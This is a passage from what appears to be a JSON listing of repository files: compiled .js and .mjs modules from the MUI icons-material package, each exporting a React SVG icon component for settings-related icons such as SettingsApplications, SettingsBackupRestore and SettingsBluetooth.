    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m7-7H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-1.75 9c0 .23-.02.46-.05.68l1.48 1.16c.13.11.17.3.08.45l-1.4 2.42c-.09.15-.27.21-.43.15l-1.74-.7c-.36.28-.76.51-1.18.69l-.26 1.85c-.03.17-.18.3-.35.3h-2.8c-.17 0-.32-.13-.35-.29l-.26-1.85c-.43-.18-.82-.41-1.18-.69l-1.74.7c-.16.06-.34 0-.43-.15l-1.4-2.42c-.09-.15-.05-.34.08-.45l1.48-1.16c-.03-.23-.05-.46-.05-.69s.02-.46.05-.68l-1.48-1.16c-.13-.11-.17-.3-.08-.45l1.4-2.42c.09-.15.27-.21.43-.15l1.74.7c.36-.28.76-.51 1.18-.69l.26-1.85c.03-.17.18-.3.35-.3h2.8c.17 0 .32.13.35.29l.26 1.85c.43.18.82.41 1.18.69l1.74-.7c.16-.06.34 0 .43.15l1.4 2.42c.09.15.05.34-.08.45l-1.48 1.16c.03.23.05.46.05.69\"\n}), 'SettingsApplications');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplications.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m7-7H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-1.75 9c0 .23-.02.46-.05.68l1.48 1.16c.13.11.17.3.08.45l-1.4 2.42c-.09.15-.27.21-.43.15l-1.74-.7c-.36.28-.76.51-1.18.69l-.26 1.85c-.03.17-.18.3-.35.3h-2.8c-.17 0-.32-.13-.35-.29l-.26-1.85c-.43-.18-.82-.41-1.18-.69l-1.74.7c-.16.06-.34 0-.43-.15l-1.4-2.42c-.09-.15-.05-.34.08-.45l1.48-1.16c-.03-.23-.05-.46-.05-.69s.02-.46.05-.68l-1.48-1.16c-.13-.11-.17-.3-.08-.45l1.4-2.42c.09-.15.27-.21.43-.15l1.74.7c.36-.28.76-.51 1.18-.69l.26-1.85c.03-.17.18-.3.35-.3h2.8c.17 0 .32.13.35.29l.26 1.85c.43.18.82.41 1.18.69l1.74-.7c.16-.06.34 0 .43.15l1.4 2.42c.09.15.05.34-.08.45l-1.48 1.16c.03.23.05.46.05.69\"\n}), 'SettingsApplications');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.21 13.97 1.2 2.07c.08.13.23.18.37.13l1.49-.6c.31.24.64.44 1.01.59l.22 1.59c.03.14.15.25.3.25h2.4c.15 0 .27-.11.3-.26l.22-1.59c.36-.15.7-.35 1.01-.59l1.49.6c.14.05.29 0 .37-.13l1.2-2.07c.08-.13.04-.29-.07-.39l-1.27-.99c.03-.19.04-.39.04-.58 0-.2-.02-.39-.04-.59l1.27-.99c.11-.09.15-.26.07-.39l-1.2-2.07c-.08-.13-.23-.18-.37-.13l-1.49.6c-.31-.24-.64-.44-1.01-.59l-.22-1.59c-.03-.14-.15-.25-.3-.25h-2.4c-.15 0-.27.11-.3.26l-.22 1.59c-.36.15-.71.34-1.01.58l-1.49-.6c-.14-.05-.29 0-.37.13l-1.2 2.07c-.08.13-.04.29.07.39l1.27.99c-.03.2-.05.39-.05.59s.02.39.04.59l-1.27.99c-.11.1-.14.26-.06.39M12 10.29c.94 0 1.71.77 1.71 1.71s-.77 1.71-1.71 1.71-1.71-.77-1.71-1.71.77-1.71 1.71-1.71M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V5h14z\"\n}), 'SettingsApplicationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.21 13.97 1.2 2.07c.08.13.23.18.37.13l1.49-.6c.31.24.64.44 1.01.59l.22 1.59c.03.14.15.25.3.25h2.4c.15 0 .27-.11.3-.26l.22-1.59c.36-.15.7-.35 1.01-.59l1.49.6c.14.05.29 0 .37-.13l1.2-2.07c.08-.13.04-.29-.07-.39l-1.27-.99c.03-.19.04-.39.04-.58 0-.2-.02-.39-.04-.59l1.27-.99c.11-.09.15-.26.07-.39l-1.2-2.07c-.08-.13-.23-.18-.37-.13l-1.49.6c-.31-.24-.64-.44-1.01-.59l-.22-1.59c-.03-.14-.15-.25-.3-.25h-2.4c-.15 0-.27.11-.3.26l-.22 1.59c-.36.15-.71.34-1.01.58l-1.49-.6c-.14-.05-.29 0-.37.13l-1.2 2.07c-.08.13-.04.29.07.39l1.27.99c-.03.2-.05.39-.05.59s.02.39.04.59l-1.27.99c-.11.1-.14.26-.06.39M12 10.29c.94 0 1.71.77 1.71 1.71s-.77 1.71-1.71 1.71-1.71-.77-1.71-1.71.77-1.71 1.71-1.71M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V5h14z\"\n}), 'SettingsApplicationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-3.25 9c0 .22-.03.42-.06.63l.84.73c.18.16.22.42.1.63l-.59 1.02c-.12.21-.37.3-.59.22l-1.06-.36q-.48.405-1.08.63l-.22 1.09c-.05.23-.25.4-.49.4h-1.18c-.24 0-.44-.17-.49-.4l-.22-1.09q-.6-.225-1.08-.63l-1.06.36c-.23.08-.47-.02-.59-.22l-.59-1.02c-.12-.21-.08-.47.1-.63l.84-.73c-.05-.21-.08-.41-.08-.63s.03-.42.06-.63l-.84-.73c-.18-.16-.22-.42-.1-.63l.59-1.02c.12-.21.37-.3.59-.22l1.06.36q.48-.405 1.08-.63l.22-1.09c.06-.24.26-.41.5-.41h1.18c.24 0 .44.17.49.4l.22 1.09q.6.225 1.08.63l1.06-.36c.23-.08.47.02.59.22l.59 1.02c.12.21.08.47-.1.63l-.84.73c.04.22.07.42.07.64\"\n}, \"1\")], 'SettingsApplicationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-3.25 9c0 .22-.03.42-.06.63l.84.73c.18.16.22.42.1.63l-.59 1.02c-.12.21-.37.3-.59.22l-1.06-.36q-.48.405-1.08.63l-.22 1.09c-.05.23-.25.4-.49.4h-1.18c-.24 0-.44-.17-.49-.4l-.22-1.09q-.6-.225-1.08-.63l-1.06.36c-.23.08-.47-.02-.59-.22l-.59-1.02c-.12-.21-.08-.47.1-.63l.84-.73c-.05-.21-.08-.41-.08-.63s.03-.42.06-.63l-.84-.73c-.18-.16-.22-.42-.1-.63l.59-1.02c.12-.21.37-.3.59-.22l1.06.36q.48-.405 1.08-.63l.22-1.09c.06-.24.26-.41.5-.41h1.18c.24 0 .44.17.49.4l.22 1.09q.6.225 1.08.63l1.06-.36c.23-.08.47.02.59.22l.59 1.02c.12.21.08.47-.1.63l-.84.73c.04.22.07.42.07.64\"\n}, \"1\")], 'SettingsApplicationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-1.75 9c0 .24-.02.47-.05.71l.01-.02 1.47 1.16c.14.1.23.18.23.18l-1.7 2.94-2.02-.8.02-.03c-.37.29-.77.53-1.21.71h.01l-.27 1.85c-.02.17-.04.3-.04.3h-3.4l-.31-2.15H10c-.44-.18-.84-.42-1.21-.71l.02.03-2.02.8-1.7-2.94s.1-.08.23-.18l1.47-1.16.01.02c-.03-.24-.05-.47-.05-.71s.02-.47.05-.69l-.01.01-1.7-1.34 1.7-2.95 2.01.81v.01c.37-.28.77-.52 1.2-.7h-.01L10.3 5h3.41l.3 2.15H14c.43.18.83.42 1.2.7v-.01l2.01-.81 1.7 2.95-1.71 1.34-.01-.01q.06.33.06.69\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2.45\"\n}, \"1\")], 'SettingsApplicationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-1.75 9c0 .24-.02.47-.05.71l.01-.02 1.47 1.16c.14.1.23.18.23.18l-1.7 2.94-2.02-.8.02-.03c-.37.29-.77.53-1.21.71h.01l-.27 1.85c-.02.17-.04.3-.04.3h-3.4l-.31-2.15H10c-.44-.18-.84-.42-1.21-.71l.02.03-2.02.8-1.7-2.94s.1-.08.23-.18l1.47-1.16.01.02c-.03-.24-.05-.47-.05-.71s.02-.47.05-.69l-.01.01-1.7-1.34 1.7-2.95 2.01.81v.01c.37-.28.77-.52 1.2-.7h-.01L10.3 5h3.41l.3 2.15H14c.43.18.83.42 1.2.7v-.01l2.01-.81 1.7 2.95-1.71 1.34-.01-.01q.06.33.06.69\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2.45\"\n}, \"1\")], 'SettingsApplicationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm2.5-7c0-.2.02-.39.04-.58l-1.27-.99c-.11-.09-.15-.26-.07-.39l1.2-2.07c.08-.13.23-.18.37-.13l1.49.6c.31-.25.66-.44 1.02-.6l.22-1.59c.03-.14.15-.25.3-.25h2.4c.15 0 .27.11.3.25l.22 1.59c.37.15.7.35 1.01.59l1.49-.6c.14-.05.29 0 .37.13l1.2 2.07c.08.13.04.29-.07.39l-1.27.99c.03.2.04.39.04.59s-.02.39-.04.58l1.27.99c.11.09.15.26.07.39l-1.2 2.07c-.08.13-.23.18-.37.13l-1.49-.6c-.31.24-.65.44-1.01.59l-.22 1.59c-.03.15-.15.26-.3.26h-2.4c-.15 0-.27-.11-.3-.25l-.22-1.59c-.37-.15-.7-.35-1.01-.59l-1.49.6c-.14.05-.29 0-.37-.13l-1.2-2.07c-.08-.13-.04-.29.07-.39l1.27-.99c-.03-.2-.05-.39-.05-.59\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.21 13.97 1.2 2.07c.08.13.23.18.37.13l1.49-.6c.31.24.64.44 1.01.59l.22 1.59c.03.14.15.25.3.25h2.4c.15 0 .27-.11.3-.26l.22-1.59c.36-.15.7-.35 1.01-.59l1.49.6c.14.05.29 0 .37-.13l1.2-2.07c.08-.13.04-.29-.07-.39l-1.27-.99c.03-.19.04-.39.04-.58 0-.2-.02-.39-.04-.59l1.27-.99c.11-.09.15-.26.07-.39l-1.2-2.07c-.08-.13-.23-.18-.37-.13l-1.49.6c-.31-.24-.64-.44-1.01-.59l-.22-1.59c-.03-.14-.15-.25-.3-.25h-2.4c-.15 0-.27.11-.3.26l-.22 1.59c-.36.15-.71.34-1.01.58l-1.49-.6c-.14-.05-.29 0-.37.13l-1.2 2.07c-.08.13-.04.29.07.39l1.27.99c-.03.2-.05.39-.05.59s.02.39.04.59l-1.27.99c-.11.1-.14.26-.06.39M12 10.29c.94 0 1.71.77 1.71 1.71s-.77 1.71-1.71 1.71-1.71-.77-1.71-1.71.77-1.71 1.71-1.71M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'SettingsApplicationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplicationsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm2.5-7c0-.2.02-.39.04-.58l-1.27-.99c-.11-.09-.15-.26-.07-.39l1.2-2.07c.08-.13.23-.18.37-.13l1.49.6c.31-.25.66-.44 1.02-.6l.22-1.59c.03-.14.15-.25.3-.25h2.4c.15 0 .27.11.3.25l.22 1.59c.37.15.7.35 1.01.59l1.49-.6c.14-.05.29 0 .37.13l1.2 2.07c.08.13.04.29-.07.39l-1.27.99c.03.2.04.39.04.59s-.02.39-.04.58l1.27.99c.11.09.15.26.07.39l-1.2 2.07c-.08.13-.23.18-.37.13l-1.49-.6c-.31.24-.65.44-1.01.59l-.22 1.59c-.03.15-.15.26-.3.26h-2.4c-.15 0-.27-.11-.3-.25l-.22-1.59c-.37-.15-.7-.35-1.01-.59l-1.49.6c-.14.05-.29 0-.37-.13l-1.2-2.07c-.08-.13-.04-.29.07-.39l1.27-.99c-.03-.2-.05-.39-.05-.59\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.21 13.97 1.2 2.07c.08.13.23.18.37.13l1.49-.6c.31.24.64.44 1.01.59l.22 1.59c.03.14.15.25.3.25h2.4c.15 0 .27-.11.3-.26l.22-1.59c.36-.15.7-.35 1.01-.59l1.49.6c.14.05.29 0 .37-.13l1.2-2.07c.08-.13.04-.29-.07-.39l-1.27-.99c.03-.19.04-.39.04-.58 0-.2-.02-.39-.04-.59l1.27-.99c.11-.09.15-.26.07-.39l-1.2-2.07c-.08-.13-.23-.18-.37-.13l-1.49.6c-.31-.24-.64-.44-1.01-.59l-.22-1.59c-.03-.14-.15-.25-.3-.25h-2.4c-.15 0-.27.11-.3.26l-.22 1.59c-.36.15-.71.34-1.01.58l-1.49-.6c-.14-.05-.29 0-.37.13l-1.2 2.07c-.08.13-.04.29.07.39l1.27.99c-.03.2-.05.39-.05.59s.02.39.04.59l-1.27.99c-.11.1-.14.26-.06.39M12 10.29c.94 0 1.71.77 1.71 1.71s-.77 1.71-1.71 1.71-1.71-.77-1.71-1.71.77-1.71 1.71-1.71M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'SettingsApplicationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestore');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestore');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.77 3c-2.65.07-5 1.28-6.6 3.16L3.85 4.85c-.31-.31-.85-.09-.85.36V9.5c0 .28.22.5.5.5h4.29c.45 0 .67-.54.35-.85L6.59 7.59C7.88 6.02 9.82 5 12 5c4.32 0 7.74 3.94 6.86 8.41-.54 2.77-2.81 4.98-5.58 5.47-3.8.68-7.18-1.74-8.05-5.16-.12-.42-.52-.72-.96-.72-.65 0-1.14.61-.98 1.23C4.28 18.12 7.8 21 12 21c5.06 0 9.14-4.17 9-9.26-.14-4.88-4.35-8.86-9.23-8.74M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2\"\n}), 'SettingsBackupRestoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.77 3c-2.65.07-5 1.28-6.6 3.16L3.85 4.85c-.31-.31-.85-.09-.85.36V9.5c0 .28.22.5.5.5h4.29c.45 0 .67-.54.35-.85L6.59 7.59C7.88 6.02 9.82 5 12 5c4.32 0 7.74 3.94 6.86 8.41-.54 2.77-2.81 4.98-5.58 5.47-3.8.68-7.18-1.74-8.05-5.16-.12-.42-.52-.72-.96-.72-.65 0-1.14.61-.98 1.23C4.28 18.12 7.8 21 12 21c5.06 0 9.14-4.17 9-9.26-.14-4.88-4.35-8.86-9.23-8.74M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2\"\n}), 'SettingsBackupRestoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBackupRestoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-2-9c-4.97 0-9 4.03-9 9H0l4 4 4-4H5c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.51 0-2.91-.49-4.06-1.3l-1.42 1.44C8.04 20.3 9.94 21 12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9\"\n}), 'SettingsBackupRestoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetooth.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetooth');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetooth.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetooth');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothOutlined.js",
